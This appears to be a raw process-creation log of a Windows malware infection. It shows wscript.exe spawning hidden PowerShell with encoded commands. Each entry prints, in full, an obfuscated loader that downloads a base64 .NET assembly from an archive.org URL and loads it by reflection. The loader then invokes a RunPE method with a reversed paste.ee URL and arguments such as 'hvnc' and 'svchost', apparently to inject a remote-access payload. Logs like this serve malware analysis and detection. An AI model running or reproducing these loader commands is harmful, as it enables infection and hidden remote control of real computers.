Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
